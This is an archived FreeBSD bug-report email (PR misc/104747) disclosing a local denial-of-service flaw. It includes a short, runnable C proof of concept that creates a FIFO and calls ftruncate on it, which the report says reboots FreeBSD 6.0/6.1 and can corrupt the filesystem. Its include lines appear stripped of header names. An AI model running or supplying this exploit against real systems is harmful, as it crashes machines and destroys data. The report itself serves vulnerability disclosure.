From owner-freebsd-bugs@FreeBSD.ORG Tue Oct 24 12:40:18 2006 Return-Path: X-Original-To: freebsd-bugs@hub.freebsd.org Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 86E8616A40F for ; Tue, 24 Oct 2006 12:40:18 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [216.136.204.21]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1D0CA43D64 for ; Tue, 24 Oct 2006 12:40:16 +0000 (GMT) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.13.4/8.13.4) with ESMTP id k9OCeFc4079351 for ; Tue, 24 Oct 2006 12:40:15 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.13.4/8.13.4/Submit) id k9OCeFrT079350; Tue, 24 Oct 2006 12:40:15 GMT (envelope-from gnats) Resent-Date: Tue, 24 Oct 2006 12:40:15 GMT Resent-Message-Id: <200610241240.k9OCeFrT079350@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Vladimir Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E1A7416A40F for ; Tue, 24 Oct 2006 12:35:52 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [216.136.204.117]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9C5A043D49 for ; Tue, 24 Oct 2006 12:35:52 +0000 (GMT) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.13.1/8.13.1) with ESMTP id k9OCZq16008453 for ; Tue, 24 Oct 2006 12:35:52 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.13.1/8.13.1/Submit) id k9OCZqIU008452; Tue, 24 Oct 2006 12:35:52 GMT (envelope-from nobody) Message-Id: <200610241235.k9OCZqIU008452@www.freebsd.org> Date: Tue, 24 Oct 2006 12:35:52 GMT From: Vladimir To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.0 Cc: Subject: misc/104747: read of data X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 24 Oct 2006 12:40:18 -0000 >Number: 104747 >Category: misc >Synopsis: read of data >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Oct 24 12:40:15 GMT 2006 >Closed-Date: >Last-Modified: >Originator: Vladimir >Release: 5.X 6.X >Organization: Alpenbau >Environment: DDoS >Description: /* FreeBSD cvs commit: src/sys/ufs/ufs/ufs_vnops.c maxim 2006-05-31 13:15:29 UTC Log: According to POSIX, the result of ftruncate(2) is unspecified for file types other than VREG, VDIR and shared memory objects. We already handle VREG, VLNK and VDIR cases. Silently ignore truncate requests for all the rest. PR kern/98064 it out in '06 !"#%&%(20061013)(="#"! tested on FreeBSD 6.0-RELEASE-p5, 6.1-RELEASE-p10 (latest at the time of writing) - it just makes the system reboot, and with a bit of luck fucks up the filesystem. that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever. usage: ./run me */ #include #include #include #include int main(){ mkfifo("lol",0x1b6); int fd = open("lol",O_RDWR); ftruncate(fd,12345); close(fd); } >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: